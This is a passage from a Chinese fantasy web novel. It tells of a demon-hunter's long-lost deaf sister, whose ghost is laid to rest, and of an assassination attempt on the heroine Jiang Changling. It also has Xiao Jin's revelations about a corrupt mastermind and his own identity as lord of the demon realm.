李响还没反应过来缘由,本又想跪下道谢,想了想又立马换成鞠躬:“多谢二位善人!请随我来!”
虽说这巷子错综复杂,但李响还是记住了来时的路,顺利地将他们带到了那处赈灾点。
可意外还是出现了。
李珠不见了。
这里就这么大,想藏个人都难,怎么就不见了呢?
他连忙上前去问怂恿他去找人求助的人:“请问我妹妹到哪去了?”
“哟,小伙子你还真的找到人帮忙了,我想想你妹妹去哪了…”那人操着吊儿郎当的口吻,毫不在意,“我刚没留意,好像是被人带走了吧?是不是啊?”
说完,他还特意向旁边的人求证。
“是个大娘,小伙你放心吧啊,那大娘说要照顾你妹妹,直接给带回去了,我们还给你妹妹寻了好人家呆着呢,你就不用瞎操心了啊。”
李响脑中似乎嗡鸣了一瞬,他不知所措地待在原地,好像今天感受到的委屈、不甘、和害怕都形成了巨浪向他扑来。
保护妹妹就是他没有爹娘也要活下去的勇气和决心。
如今剩下的最后一个亲人没了,他活着还有什么意义?
他揉揉湿润的眼睛,企图不让眼泪流下来,转身对着黎夫人慢悠悠道:“对不起,我妹妹…她不需要帮了。”
黎羡骅和黎夫人也大致猜到了这里发生了什么,心有灵犀地对视了一眼。
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“既然如此,你可否愿意来黎府上?我们抚养你。”黎夫人腼腆笑着,声音温柔。
那时迎来冬风,却吹来了春生发芽。
后来他才知道,黎夫人身子骨弱,不适合诞子延孙,故而又在去庙里求子的那天晚上遇见他,阴差阳错间,他便被黎府收养了。
黎夫人和家主都视他如己出,还为他改了姓名为黎追,意为追逐黎明,而黎明亦可以代指为他想要的所有事物和人。
两人也尊重理解他的想法,他说想当捉妖师也就让他去当了,唯一的要求就是让他保护好自己不要受伤。
他也争气,凭借着自己的本事一步步爬到了高阶捉妖师的位置。
他从李响适应黎追的身份仅仅只过了一年,倒不是说如同其余被溺爱整日纸醉金迷的少爷一样纨绔,而是就算被溺爱也清醒着秉承着良好习惯作风的黎小少主。
至今为止,还不曾有人绯议黎追的身份。
黎夫人也没有放弃帮他找回遗失的妹妹,还扬言说如果他妹妹回来了要为她起个更好听的名字,叫黎慕,万人仰慕的意思。
可这一找便是十八年,他妹妹的下落依旧不明,直到现在才如梦似幻地有了一丝生机。
听到这里,钟婆恍然大悟,泪眼婆娑地支吾出一句话:“我这才知...她的命原来这么好,跟着我反倒是受罪了...”
李珠发烧昏厥那一晚,是钟婆去赈灾点发善心的时候带走的。
那时,那里的人都哄着她带走,说是如果不带走的话今晚就会死在这里,这小娃娃是被人抛弃在这里的。
她着实是于心不忍,无奈之下只好抱起生病的李珠往家里走去了。
晚上医馆都关了门,她也只好先让李珠有个温暖的床榻入眠,不至于在外头雪上加霜。
于是钟婆帮她擦脸擦身,盖上棉被照顾了她一宿。
第二天一早李婆醒了便立马出了门叫了郎中来看。
直到郎中替李珠把脉时,李珠才悠然转醒,见到郎中的第一眼便慌得不行,连连抽手后退,把自己挤在小角落里。
她听不到声音也不会说话,只看见两个陌生的男女的嘴巴一张一合正说着什么,手还在向她挥来。
她害怕地看了看周围,环境无比陌生,这让她更加坚信自己是落入坏人的手中。
“大夫,这小孩怎么看上去听不懂人说话呢?”钟婆也纳了闷,说了半天她是好人是来帮她,可是这小孩怎么劝也不听。
郎中也觉得疑惑,于是下了个初步诊断:“这孩子可能脑袋里头坏了,神经有问题,如果是这样的话,我看也没必要治了。”
“大夫,可是我看她也只是发个热而已,怎么会这么严重?”钟婆有些着急,接着对李珠说:“乖孩子,大夫这是在救你呢,不然你要没命了。”
言罢,钟婆还是决定强行动手扯过李珠的手臂。
李珠起初挣扎地很厉害,但还是拗不过大人的手劲,许是因为她没进食加上发烧,不过是抵抗了一会便没了力气任凭摆布。
66. 黎慕
郎中把了会脉,又问道:“她昨夜可是受了寒?”
钟婆赶紧接上道:“应当是,这孩子是我在街上捡来的,见到这孩子的时候便在地上躺着。”
“嗯。”郎中看向李珠,“舌头伸出来看看。”
李珠泪眼汪汪,抿着唇摇摇头。
于是双方陷入了僵持之中,也不记得是哄了多久李珠才肯发出一声,甚至指了指自己的嘴巴摇头。
这下两人才知道这孩子并非是不配合,而是不会说话,是个聋子。
虽然李珠失去了听力和声音,但她的头脑聪明得很,理解事物总是很快,以至于她在这番僵持下也终于理解了钟婆的善意。
“这孩子想必就是因为不会开口说话才被家里人抛弃的吧。”钟婆皱起眉,一副忧心的模样,“但没关系,以后婆婆来养你。”
郎中也不免有所触动:“幸好这孩子的身体还算健壮,能熬过这场风寒应当不成问题,我给你开个药方,你按照这药方上的药抓药,喝个三天左右大概会有所好转,但巩固还需喝上七天的药。”
“多谢大夫。”
从那之后,钟婆便多了个孙女。
钟婆老伴逝世,两人就这么相濡以沫走到了尽头也没留下个一儿半女,只留下一座冷清的府邸和金银财宝。
钟婆时而也会在想要是自己有个子女陪陪自己也是好的,不过再想这些也不可能再实现了。
谁叫两人生前年少轻狂,默契地秉持着不能在这个世上留下丝毫的软肋便压根没往情情爱爱那方面去多想。
他们潇洒快活了大半生,还是没逃过病痛的魔爪,在得知她老伴得了不治之症后,两人也干脆放掉了手头上的所有生意,花钱买了座府邸,在他临终之际安详地度过晚年。
然她老伴走后,她才知道日子是如此难熬。
索性她便整日出门行善。
没想到这下还真让她捡了个“宝”回来。
钟婆还为她重新起了个名字,姓是跟着她老伴姓的,字是根据寓意取的。
所以就叫了她张福。
闲暇时,钟婆会教她识字,让她大概能明白什么字是对应什么意思。
尽管张福理解起来十分吃力,钟婆也还是会耐下心来慢慢教她。
就这样,两人互相依偎着过了一年又一年,待张福长到十岁左右时,钟婆便发现她已经会帮忙处理家中的事物,会帮她打下手了。
再后来,张福长得比她还要高,整个人亭亭玉立的,让钟婆都时常有些恍惚,都以为张福是她亲生的孙女。
这些年来张福跟她出门的次数多,接触到的事物和人也广泛了,自是逐渐地变得更聪明些,起码能分辨谁对她好谁对她坏。
不过张福的身边除了钟婆也不会再接触到第二个人了。
有几次,钟婆瞧见张福纸上画着一个男孩,她以为这是在画她老伴,也没多想,毕竟她老伴的灵台和画像就供奉在大门前。
但如今一想,这画像上画得约莫是她的哥哥李响才对。
再追溯到她失踪的那天晚上。
很巧,那又是一年冬天。
钟婆原本万年不生病的身体突然病了,无缘无故便发起了烧来。
在这个家中,钟婆心里清楚,一旦自己倒下了,那很可能再也站不起来了。
自己养的孙女怎么说也是个不懂事,不会说话的孩子,只能想着能陪她走多远是多远吧。
李珠也不是傻子,当然知道钟婆卧床不起是怎么回事,她焦急地在床头握着钟婆的手,举起一张纸哗啦啦作响。
那纸上写着的是三个字:怎么办?
钟婆看着那纸上写着的字苦笑着摇摇头说:“没事的。”
哪怕张福听不懂,她余下的力气也只够她说这些的了。
说完,她便不堪重负地闭上眼睛。
这会,她的手还在被张福紧紧握住。
她并没有睡着,只是被病魔折磨地太累了,闭上眼睛能让她好受些。
不过一会,手中的温度骤然散去,她猛地睁开眼睛向床边看去。
发现张福就这么消失不见了。
起初她以为张福只是去给她倒了一杯茶水,却不曾想,张福是跑出了府门。
那时已进宵禁,外面飘着鹅毛大雪,整片街道覆盖着雪堆,屋檐上甚至凝结了冰柱。
张福就这么在这条街上狂奔,她亦不知能找谁帮忙,但外出随便寻个人帮忙也好过坐以待毙。
这时,她借着幽幽的月光看见街道口窜过一道青白色的身影,衣袍翻飞,手里带着光极快地奔过。
她也不自主地加快脚步向他追去。
正当她准备迈开一只脚时,某个瞬间便被一股无法抗拒的力量控制住动弹不得。
再后来,她眼前一片黑,便被人带走了。
整个过程中只有她的心跳是挣动得最厉害的。
钟婆在床上躺久了也感觉到不对劲,无论如何也没办法睡着。
她早已将张福视为世上最亲近的人,张福的安危和她的命同等重要。
无可奈何之下她还是顶着病痛从床上坐起身来,刹那头痛欲裂。
下了床榻,在架子上拿上一件大氅慢悠悠披上才向外走去。
她步履蹒跚,走了很久才到。
府门太重,本来以她现在的力气应当是推不开的,但现在府门半掩,她内心亦不知是喜是忧。
出了府门,她独自立于风雪之中,满目茫然。
她心想她这辈子便会交代在这了。
还没等她挪步,便有一个年轻的男声在她耳旁响起:“婆婆,现在是宵禁时刻,您要去哪?”
她恍然才发觉好久没有听到有人对她说话了。
钟婆转过头去,看见的是一名面容清秀的小伙子,上下一身青白色的衣裳飘然。
“我…我孙女不见了,她…她不会说话,耳朵不好。”钟婆逐字解释,喉咙烧得像是火炉一样。
“您的意思是她跑出去了?”小伙问道。
“嗯…我病了也管不住她…”钟婆有气无力道。
“这样啊,那我去帮您找找。”小伙扶起她的手臂,“您先回去歇息吧。”
钟婆踉跄几步,点点头:“咳咳...多谢你啊小伙
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…你叫什么名字?”
小伙笑了笑道:“我是妖都的捉妖师,我叫黎追。”
此后黎追便与钟婆结下了这不解之缘,就像是替代了张福一样陪伴在她身边。
到头来钟婆也没想到过这两人竟会是亲生兄妹。
“怎么会受罪呢,婆婆这府邸又大又清闲,最适合养人不过了。”黎追眼眶也有些湿润,“倒是我这个当哥的要感谢你。”
“没让她冻死在那个街头,还让她…好好地活了这么久。”
钟婆内心不由地泛起酸涩,向姜长泠问道:“你可知福儿是怎么去的吗?”
姜长泠也才缓过来这三人之间的渊源,看着钟婆哭红的双眼,她有些于心不忍地摇头:“这个我亦不知,但她想必也是挂念你们才会一直留在此处,我想了想还是告诉你们为好。”
“那可还有什么办法让她安息吗?”钟婆问道。
“自然是有的...可以用符度化。”姜长泠从袖中摸出一张符纸。
就在这时,紧闭着的大门忽然传来两声扣门的闷响。
三人都同时扭头朝门的方向看去。
真是奇了怪,这么晚了还会有谁来登门拜访?
“请问是哪位?”黎追站起身来准备前去开门。
“我这府上除了你们还会有谁来。”钟婆拭去眼角的泪水,叮嘱道:“小追,开门时定要万分小心。”
黎追回过头来:“放心吧婆婆。”
他站在门前等了会,可门外并无人回话。
姜长泠也尤为好奇,向四周看了一眼才发现解宿不知何时不见了。
氛围沉寂,黎追不得不拉开门看看究竟是何方神圣立足于门前。
不看不要紧,一看姜长泠和钟婆便都晃了神。
站在门外的是一名穿着灰白色朴素的布衣,扎着麻花辫的女子,在隐隐灯火的照耀下是一张白皙可爱的脸。
她们都立马认出了这人便是张福。
只是不敢确定。
“请问你是哪位?”黎追看着眼前陌生的女子开口问道。
钟婆不可置信地站起身来怔怔地望着那女子。
而坐在姜长泠对面真正的张福也都震惊住了。
“张福”没有说话,而是径直地向前抱住了黎追:“哥,好久不见。”
相比于其他人的惊讶,姜长泠的反应倒是淡定许多,毕竟也只有她知道这是解宿独自做决定变的。
“这...这不可能是福儿,福儿怎么会开口说话?”钟婆清醒地喝道。
黎追自然知晓,只不过他不曾在面前这名女子身上感受到任何的妖息。
他挣脱开“张福”的拥抱,后退问道:“这位姑娘是否找错了人?”
见此景象姜长泠也不得不出来打个圆场:“她...是张福,不过是执念已了,想最后回光返照来看你们一次。”
“哎哟,这是阎王开恩了吗?”钟婆顿时眼泪止不住地往外流。
“哥,我终于再见到你了。”“张福”眼眶中也蓄满了泪水,用手背轻抚了抚黎追的侧脸。
“珠珠?”黎追彻底愣住了。
67. 幕后
“张福”转而又向钟婆走去,抱住了她:“婆婆不哭了。”
钟婆也颤巍地抬起手拍了拍“张福”的背,依旧是泪眼婆娑:“福儿,这些年你受苦了,都怪我没有好好看着你。”
“婆婆已经把我照顾得很好了。”“张福”说话时也带着哽咽,“我回来就是想告诉你们不要自责了,都不怪你们。”
黎追一个大男儿也忍不住红了眼睛,但这会还是理智让他占了上风问道:“珠珠,你可记得是谁害你至此的?”
“张福”搂着钟婆时视线瞥向了一边真正的张福,她依旧坐在凳子上,泣不成声地看着他们。
她闭上眼思忖片刻,淡淡道:“哥,我不想让你再活在仇恨和自责之下了。”
“都忘了吧。”
话音如羽毛轻轻落下,“张福”的身体也在逐渐隐形消散。
“你们定要好好活下去,不要再惦记着我了。”
“福儿!”钟婆激动地搂住她,可却扑了个空,在原地失声痛哭了出来。
解宿还没走,只是在原地化为了魂魄的形态,她已然变回了之前的模样,抹了抹脸上还没干的泪水。
黎追历经了十八年没再见到他妹妹,没想到再次见到的时候是以这种方式。
这次的见面和离别都让他出乎了意料之外。
他本以为这份情感早已经过了岁月打磨不再变得钻心刻骨,可直到见到、知道的那刻开始,他内心还是充斥着愧疚和愤怒。
珠珠是他最后一个血亲,陪着他经过了数不清多少难捱的日子。
而如今他被黎府收养过得很好,珠珠却不知葬身在何处。
他这个当哥哥的该如何释怀?
黎追滞留在原地,努力地平复内心的酸楚。
张福见到这副场景自然而然也明白了什么,她当即跪在了解宿的脚边磕了好几个头,最后留恋地看了几眼她在世上最挂念的人,终于化为了星星点点飘散。
这么看,姜长泠还以为张福停留在这人间的执念便是将那些害她的人一网打尽,没想到张福原来是想以自身再去见一面他们。
“看来还是鬼更了解鬼吧?”解宿对姜长泠笑道。
姜长泠微微地颔首,站起身来拍了拍钟婆的背哄道:“婆婆不伤心了,福儿去了更好的地方应该高兴才是。”
钟婆止住哭泣,不断用手拭去眼泪:“对对对。”
“长泠啊,你说福儿这样是不是就算安息了?”
姜长泠安慰道:“嗯,她以后就再也不用吃苦了,会有一具健全的身体,会有很多很多人爱她。”
“那就好啊,那就好。”钟婆道。
夜色渐浓,姜长泠也不记得自己对他们解释了多少关于鬼魂的故事才走出的钟府。
她是和黎追一块离开的。
黎追在心里酝酿了会才问道:“师妹,方才在来时路上你对我说的那些事,想必也是与我妹妹有关吧?”
姜长泠没想到黎追会这么快看破,她沉默了会没说话。
她本就想着把这件事告知于黎追的,只是没想到钟婆也掺和进了这件事之中,只好先瞒下来。
“我都懂,不告诉她这件事是怕她承受不住吧。”黎追道,“谢谢你啊师妹,愿意把这些事情告诉我。”
姜长泠没想到黎追还能如此冷静,于是她便顺着这话说下去:“我这还有一份剩下的窝点分布图。”
言罢,她从衣襟处拿出那张叠好的纸张:“我对这淮庆城并不熟悉,也不清楚这些地方具体是在何处,还请黎大师兄指点一二。”
黎追接过纸张,端详了会问道:“这是从何得来的?”
“是...那些余下被威胁的权贵写下的。”姜长泠不免有些心虚。
纸张忽然被黎追揉皱,他颤声道:“多谢你了姜师妹,这剩下的我去找人解决就好。”
姜长泠还没反应过来他这话什么意思,黎追便带着白光形如一阵风从她身旁消失不见了。
她怕黎追是独自一人前去,当即燃起一张传音符给黎追问道:“黎大师兄,你这是要去哪?”
另一头很快给了回音:“姜师妹不必担心,我只是赶着回家一趟...姜师妹回去路上也要注意安全。”
姜长泠有些质疑,但也不得不先信他,毕竟那张关键的纸张已经被他夺走了...
解宿见四下无人,再次化作了人形走在了姜长泠身旁。
“今晚还好有你,张福也算是安息了。”姜长泠道。
“哼,若不是她的身世悲惨外加上黎追和钟婆的故事曲折,我才不会帮她。”解宿仰头道。
姜长泠微微笑道:“不然我就真的要用符咒再度一次张福了。”
“什么,你还能用符度鬼魂入轮回?”解宿惊讶问道。
“嗯,不过会消耗阳寿,这往生符一现出,便会让鬼魂致幻,想到生前最幸福的时刻从而放下执念,自愿入轮回。”姜长泠解释了一通。
解宿笑眯眯道:“这么说,也能超度我咯?”
“你连记忆都没有了,可还记得自己生前最幸福的时刻是什么时候吗?”姜长泠反问道。
“嗯...”解宿有些泄气,“不记得了...算了,人间也还是很好玩的嘛!”
倏然间,上方传来屋瓦细微松动的响声,姜长泠和解宿都警惕地抬头看去。
只见四个黑衣人凌于上空,手里握着的银剑在月光下反着寒光。
什么情况?又来刺杀?
姜长泠对于这种场面经验十分丰富,刚想让解宿避开便被她拉着护在了她身后:“呆着别动。”
四名黑衣人刚好站在四个角度的位置呈包围的形势俯冲向她们而来!
而解宿波澜不惊地运起手势冲天一掌,灰色的屏障便随着她的手势从地而起掀起寒风向上空升起。
四人见状都很识趣地没往屏障上扑,反倒是在空中翻飞各往两边落在地面,继而向她们冲来。
“还有点脑子。”解宿收拢手掌汇聚灵力向两边甩去,“那看这招,阁下又该如何呢?”
甩出去的灵力在途中迅速地凝聚成一条锁链,如同紧绷射出的箭矢向四人缠去。
解宿操纵着锁链灵敏不断在
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他们的剑刃之间交锋着,不断擦出金色的火花。
而就在他们想以一人拖住锁链而另一人趁机向前偷袭的战术时,解宿很快抓到了他们漏洞。
“小心上面。”姜长泠提醒道。
解宿猛然地收回锁链向面前从屋檐上跃下的两人甩去,直直捆住了那两人的双脚。
“接下来就要简单许多了。”解宿笑道。
两条灰色的锁链宛如毒蛇将两人叼在空中,随后又猛然坠下摔在他们另外两个同伙面前!
雪尘飞扬,两个人当即受了很重的内伤,手握着的剑也脱手而出,胸腔起伏地吐了一口血在面罩之内。
“他娘的,这是什么鬼差事!”两个健全的黑衣人也不知是谁破口大骂了一句。
解宿正准备解决剩下两人时,两名黑衣人忽然高举起手中的剑灌满灵力向解宿的锁链砍去。
威力之猛,直直将解宿的灵力砍断开来。
此举虽破,但那剩下的两人却无任何恋战的苗头,赶忙抓起地上两个吐血的人消失了。
解宿遭到了些许反噬,但不算太多,她收回灵力,疑惑问道:“明明这几个人的实力并不低,怎么还收着跟我打?”
姜长泠一直站在解宿的身后瞧得要仔细些,她道:“他们在动用灵力之时我感受到了妖息,他们这样做,估计是不想让我们知道他们的身份。”
“这些来杀你的人无非就是从张福那地方派人来报复你的,还需要隐匿身份吗?”解宿问道。
姜长泠觉得也有不对的地方:“怪就怪在这里,那地方果真是有幕后之人的,若是他想派人杀我又怎么会逃?”
解宿好奇地凑到姜长泠身旁问她:“或许你是不是还惹了别的仇家?”
“要是论妖的仇家我确实很多,但那都是青竹城的事情了,况且这要谋杀我的人出现的也未免太过巧合,还不能留下尸体。”姜长泠道。
类似于这样的情况...她倒也不是没见过,一般就是这些妖身上有着见不得人的东西,比如留下了什么束灵烙印之类的印记在身上。
慢着...不会又是有束灵烙印在身上吧?
姜长泠的背后又一凉。
“难不成是怕你见到他的手下便会知道他的身份?”
姜长泠揉了揉太阳穴向前走去:“我更希望事情不会往这个方向发展的。”
解宿也跟上她的步伐:“也对,若是这样的话,保不齐就是你身边哪个认识的人。”
*
回到雀云院的厢房之中,姜长泠褪下去外衣,终于是卸下了一身的疲惫躺下。
她闭上眼和解宿道了晚安后便入了梦乡。
脑海中连庆阁中数不清的人和事物都不受控地被重新演绎了一遍。
这么回顾起来,连庆阁真的是个十分压抑恐怖的牢笼。
这幕后之人究竟是谁,既有淮庆城的人脉还能派妖来杀她。
又或者说这并不是暗杀,而算是一种试探?
毕竟她和真正意义上的幕后之人并没有交涉过,或许对方也并不知道她的实力在什么地步?
68. 谋划
而这其中影响的变数便是萧烬。
她忽然又想起来今天她服下纵情散时不清醒的模样。
虽然思绪很乱,但她记得很清楚她抓住了萧烬的手...还吻了上去。
就算是这样,萧烬也没有推开她?
她心里忽然痒痒的,说不上来是何感受,只想马上跟萧烬见面对峙一番。
窗外黑云滚涌,天上又渐渐飘下小雪。
姜长泠也渐渐睡着了。
*
正值半夜,姜长泠这一觉睡得很安稳,甚至还做了个梦。
在梦里,她依旧是名捉妖师,与此不同的是她有爹娘了。
她爹对她说:“当捉妖师太危险了,还是回来当我的宝贝女儿好不好?”
她摇头笑道:“不!我偏要捍卫人间正道,守护一方太平!”
捉妖时,她不再对任何妖有所畏惧,因为她知道她身后还有萧烬会帮她。
可是,萧烬于她而言究竟是什么身份?
就连在梦里也没有答案。
画面流转,一方小灯笼洒下着暖黄的光,她和萧烬似乎就坐在那时在妖城时候的观海楼的亭台上,面朝着大海。
汹涌的海风不断灌入。
她看向萧烬,萧烬依旧是那一副云淡风轻的贵气模样。
貌似这是个再寻常不过的夜晚,而他们只是聚在一起看着风景闲谈。
可不知何时,萧烬的身后冒出无数的黑烟,嘶吼地呜咽着。
那些都是亡魂,跟着他的亡魂。
她忍不住问他:“莫非你真的身负万千命债?”
谁知,他只是端起茶杯饮了口茶,淡淡道:“我好像从来都没有说过我是个好人。”
姜长泠压抑住内心的震惊,又听见他说:“不是每次我都会帮你的。”
他身后的亡魂叫得更为凄厉,竟将整座观海楼都卷崩塌,亡魂乱窜,而在混乱之中萧烬果断伸手抓住了她。
她害怕坠落便猛然一激灵抖醒了。
醒来时,她隐隐感觉到房中还有别人。
于是她转头朝床外看去,在一片深黑幽蓝的窗纸下,木桌旁显然多出一个黑色的身影。
莫非又来人刺杀她了?
她警惕地撑着床榻直起身,而房中的灯火便被点燃了。
借着火光,姜长泠才发现这人是...萧烬。
“你怎么来了?”姜长泠差点挥出袖中的符纸。
“怎么?怕被暗杀?”萧烬悠哉悠哉地问她。
姜长泠窘迫地摸了摸脖子,解释道:“防人之心不可无嘛。”
“在你睡着的期间,我已经逮过一群刺客了。”萧烬眼眸似是墨潭,这会周身萦绕着凛冽的气息,嘴角却有带着若有若无的笑意,“有我盯着,你不会有事的。”
如果姜长泠不认识萧烬,那她一定会以笑面虎来定义萧烬。
但萧烬的“笑面”是真的,“虎”也是真的。
“那你可曾那群刺客身上发现什么?”姜长泠的注意点蓦然转移。
萧烬摇摇头:“并未发现什么异常,都只是些普通人罢了。”
姜长泠皱起眉道:“可在今晚暗杀我的那四个分明是妖。”
“这很难说明什么。”萧烬倒是对另一件事感到更加好奇,“不过你就不问问我为何深更半夜坐在此处?”
“…为什么?”姜长泠顺着他的话问下去。
萧烬无奈叹息,修长的手指在桌面上一点一点敲着:“你的大师兄黎追,差点死了。”
“什么?!”姜长泠立即掀开被子下榻,“发生什么事了?”
“你猜?”
在这要紧关头,萧烬却依旧不紧不慢,更像是来告知死讯的。
姜长泠内心的不安逐步被放大,她问道:“他可是独自一人去了余下的窝点?”
“嗯,我见他孤身提剑奋战,就简单帮了帮他把所有窝点都清剿了个遍,但没想到的是…他最后还是没撑住倒下了。”
“那他现在在何处?”姜长泠立马站起身来,往旁边的架子上拿起一件外衣。
萧烬笑了声:“你不用急,他现在已然无大恙。”
闻言,姜长泠又将那外衣挂了回去,坐回了床沿边。
其实她清醒过来后也能想到黎追会没事的。
毕竟萧烬都愿意帮黎追清剿窝点,自然也不会让他轻易死掉。
“你是怎么会想到帮他的?”姜长泠有些困惑。
“不过顺手而已。”萧烬淡淡牵了下嘴角。
言毕,厢房内便彻底静谧无声,有的只有姜长泠摩擦衣裳的声音。
就当姜长泠想开口之际,萧烬却先问出了声:“为什么想不开消耗阳寿去度化怨魂?”
低沉如薄荷般的音色静静地掺和进冷空气中,传进姜长泠的耳朵里。
姜长泠愣了愣,最先冒头的问题是萧烬为何要问她这些。
但她立马反应过来,他们彼此间还有着禁咒牵连。
她沉默了会,随即撩拨起脸庞边的发丝闷声道:“我只是...一时冲动罢了,只是想到若是消耗些许阳寿就能让她们安息,倒也不为是一件‘蠢事’。”
她没抬眼,并未注意萧烬看她的眼神还带着些怜悯,像是在看什么将要破碎的物什,过了会,他继而释怀开来,问道:“想去破吗?这腐朽的根源。”
为何这次他会如此主动提出要帮她?
此话一出,姜长泠便觉得眼前的萧烬好陌生反常,直叫她顾不得去想这腐朽的根源是什么。
一个突然做出了改变,不会是毫无理由的。
“难道你想在人间寻到的宝物,找到了?”姜长泠的心莫名咯噔了下,语气间很是平静。
“你猜对了一半。”萧烬淡淡笑了声,“虽是找到了,但尚未知道如何启用。”
这突如其来的说辞瞬间让姜长泠不知所措,她脑海中冒出了无数个问题,兜兜转转却还是抛了最想问的:“你要回去魔界了?”
萧烬径直略过她的问题道:“你还没回答我上一个问题。”
姜长泠咽了咽喉头,接着道:“腐朽的根源是什么意思?要如何去破?”
“意思是妖都烂到根上了,而明天淮庆城也将会迎来一场浩劫动荡,但不至于像青竹城那般严重。”萧烬解释道,“至于如何去破,那便要去到真正的根
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源上去探究了。”
她没想到内心中一直不肯猜想的方向竟被证实了,她怔怔问道:“从何可知?”
“当然是凭我荡平了这么多窝点总结出来的。”萧烬瞄了她一眼,“你若是不信那便不信,总之明日淮庆城中掀起的风浪会证明给你看。”
“这么说淮庆城外建立的这些青楼都是经过了妖都的默许创办的?”
“不对,妖都的主办孟绝是幕后指使的主谋,甚至乎在青竹城发生的那些事也与他有关。”
姜长泠背后寒毛直竖,如果这幕后之人如果是孟绝,那她所遇到的一切都合理了。
起初她在考核中差点命丧黄泉,想来这其中也少不了他的手笔。
那这淮庆城和青竹城都被侵蚀了,那剩下唯一的净土岂不是只有逢珑城了?
她突然想,要是她从来都不曾知晓这件事该多好。
“此局怎解...难不成要去一处找主管苍大人让他整治?”姜长泠问道。
萧烬点头:“正是此意。”
姜长泠听着有些头疼。
毕竟她并没有在淮庆城待留多久,甚至连淮庆城里的路都还没认清的情况下又要转移去别的地方了。
好一个颠沛流离。
致命的是,她并不喜欢这种感觉,明明她早已经习惯了。
她本形单影只,走哪都不留痕,随处找归宿能够支撑她活下来便足以,可她现在变了。
她忽然就想找个地方安稳下来,身边有那么三两个好友能闲暇时聊聊,郁闷时能一块吃点喝点什么,平平淡淡的一生也就过去了。
而眼下她还有一个不想离开的人。
“你怎么开始关心在人间的这些事了?”姜长泠实在是好奇。
萧烬默然了会,笑道:“只不过是想通了,若是能多点行善益于百姓也是好的。”
“要与我并肩么,我可保你顺畅无阻,毫发无伤。”
姜长泠不敢置信,怎么会有人说变就变?
要么是萧烬受到了什么刺激,要么就是此番去逢珑城有他的目的所在。
或许是关于那件法宝的事情。
但就算是萧烬有自己的考量和目的,他所许下的承诺于她于人间都是有利的,何尝不试试?
可她现在还有个更想问的问题。
她眼眸透如琉璃,隐隐闪着微光,小心翼翼问道:“萧烬,可不可以告诉我你在魔界中真实的身份?”
萧烬怔然,似乎并没有想到姜长泠会问这个:“我的身份需要在合时宜的时候再释出,不过想必我现在说出来你也不会信。”
“我信。”姜长泠坚定说完,眼神却变得有些闪躲,“我想了解你。”
一直以来,萧烬都是在暗处而她在明处,就算是问过了他的身份,他也只会说你无需知道。
萧烬自始至终就像是一片云雾,在背后,在天上操纵着全局。
有他在的时候总是能让她很镇静和安心,即使是不在,她也知道萧烬不会放任不管她的。
而这又都归咎于一个不知名的禁咒。
禁咒没法破,久而久之,她也顺理成章地熟悉了有云雾在的地方。
69. 离开
萧烬也没想到她会如此直白地说出这些话。
他在心里衡量了一番,想来也算是百无禁忌,他笑道:“我说我是魔界的一界之主,你信吗?”
听到这番话,姜长泠自然是有些质疑的。
毕竟无论在什么界域,首领都至高无上的存在,手里重权在握,一人之上万人之下,万万不可能沦落与她这样的草民并肩。
就算是有禁咒加持,也不应会这样。
况且这还是魔界的领主。
可姜长泠还是控制不住地想起无数个有关于萧烬的行为动作画面,有时候又觉得好像有那么些符合。
“看来你是真的相信了?”萧烬好笑道。
她目光呆滞地看向他,随后道:“我在想我是不是在做梦。”
“信也罢,不信也罢。”萧烬一脸轻松,继而道:“我还是那个问题,你愿意去逢珑城吗?”
姜长泠还没从萧烬的记忆中回过神来,只好道:“等等,既然你说明天淮庆城会发生一场浩劫,那如果我们离开了,那淮庆城岂不是陷入水深火热之中?”
“那倒无需担心,都是些狗咬狗罢了。”萧烬道,“若是想真正的杜绝这种现象再发生那便只能前往逢珑城找一处的大人解决。”
“看来最好的方法也只有这个了。”姜长泠低头想了想,“那待我明日与黎大师兄交代一番。”
忽然之间晃动的烛火被猛地吹灭,纸窗外透着幽幽的暗蓝更为的显眼。
“不必多言。”萧烬从凳子上站起,“你接着睡吧。”
“且慢!我还有最后一个问题想问你。”姜长泠道,“你也知我昨天在连庆阁里不小心中了纵情散,你带我回来的时候可曾有作停留?”
萧烬没想到姜长泠会问这个问题,他在暗中停留了会,随即道:“不曾。”
话音刚落,姜长泠就这么看着黑夜中那抹更深黑的身影就这么转身拂衣离去。
灭了暖黄的灯火,冷清肃冷的氛围接踵而至。
只是刚才短短一番的谈话,姜长泠的困意便已经烟消云散。
她坐在床沿边发了会呆,最后还是躺了回去。
在这最后要走的关头,她还想到一人。
那便是解宿。
如果她离开淮庆城,解宿还会跟着她去么?
可惜今晚解宿不知去了何处,饶是想最后道别的机会都没有了。
*
次日清晨,窗檐边的积雪都落下了好几块。
姜长泠一睁开眼,便发现不知何时又到了一个陌生的环境,这面前的帐顶显然要比她那雀云院中的厢房要高得多。
就像是她本还在青竹城呆得好好的,但第二天却莫名被萧烬带到了淮庆城里。
她环顾了四周,光线十足通透,照彻这屋内的所有陈设。
这里甚至还要比雀云院的厢房更要大上一圈。
姜长泠猜都不用猜,这里定是萧烬带她来的逢珑城。
着实是太快,她还没来得及在淮庆城看发生了什么就这么稀里糊涂过来了。
她坐起身来,发现在床头还设有一个木制的挂衣架,正挂着她昨日夜里披着的外衣。
她站起身来披过那件外衣,按照以往一样去窗边瞥了眼。
街道车水马龙,巧的是,她还能看到几个穿着白裳的男子在屋檐上跳跃着飞过。
想必那也是妖都的同门。
青竹城和淮庆城都是经过她之手而陷入混乱的,两次了,闯下祸后她每次在窗
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边看到的都是人间太平的景象。
有时她也会质疑自己正在走的这条路真的对吗?
听着小摊贩上的吆喝声她又回过神来,准备走出房门。
房门已经有两位女侍从候着了,一见她来便行了一礼:“姜姑娘早,现在已近午时,洗漱完便可以用膳了。”
另一个也赶忙接上话:“下人这就去给姜姑娘准备洗漱用的,还请姜姑娘稍等片刻。”
姜长泠这会听得有些迷离,但想必这些都是萧烬安排的,也就顺其自然地接受了。
*
洗漱过后,她被那两名侍从带去了一个包间,里面皆是梅枝墨画的屏风,勾勒出别样的雅致,菜已经上两道,且碗筷还放了两个,两个茶杯里斟的茶还在往上飘着热气。
她忍不住向身边的人问了一句:“请问萧公子现在何处?”
“回姜姑娘的话,萧公子有令,说是让姜姑娘用完膳便去找妖都一处,再多的公子便没交代了。”女侍从双手交叠在前恭敬道。
姜长泠莫名有些失落,看向桌上的菜问道:“那这里为何要准备两幅碗筷?”
“姜姑娘待会就知道了。”两名女侍从低下头,“若没什么事下人便先退下了,在门外随时听谴姑娘吩咐。”
“多谢二位照顾。”姜长泠也行了一礼。
看着两名女侍从退出了包间,她也顺势找了个座位坐下,接着门外又传来一阵轻快的脚步声。
